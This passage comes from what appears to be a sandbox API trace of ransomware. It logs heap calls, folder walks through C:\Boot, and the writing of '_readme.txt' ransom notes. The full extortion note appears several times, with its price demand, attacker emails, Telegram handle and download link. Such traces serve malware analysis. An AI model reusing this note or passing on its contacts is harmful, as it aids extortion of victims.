HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.322] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.322] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.323] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.323] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.324] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.324] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.325] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.325] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.325] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.325] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0116.325] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.325] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.325] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.325] PathFindFileNameW (pszPath="") returned="" [0116.325] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.326] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.326] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.326] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.326] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.326] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.326] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.326] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0116.326] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.326] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.326] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0116.327] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.327] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.327] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.327] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.327] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.327] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.328] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.328] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.328] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.328] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.328] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.328] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.328] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.328] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.329] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.329] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.329] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.329] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.329] PathFindFileNameW (pszPath="") returned="" [0116.329] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.329] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.330] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.330] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.330] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0116.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.330] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.330] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0116.330] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.330] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our 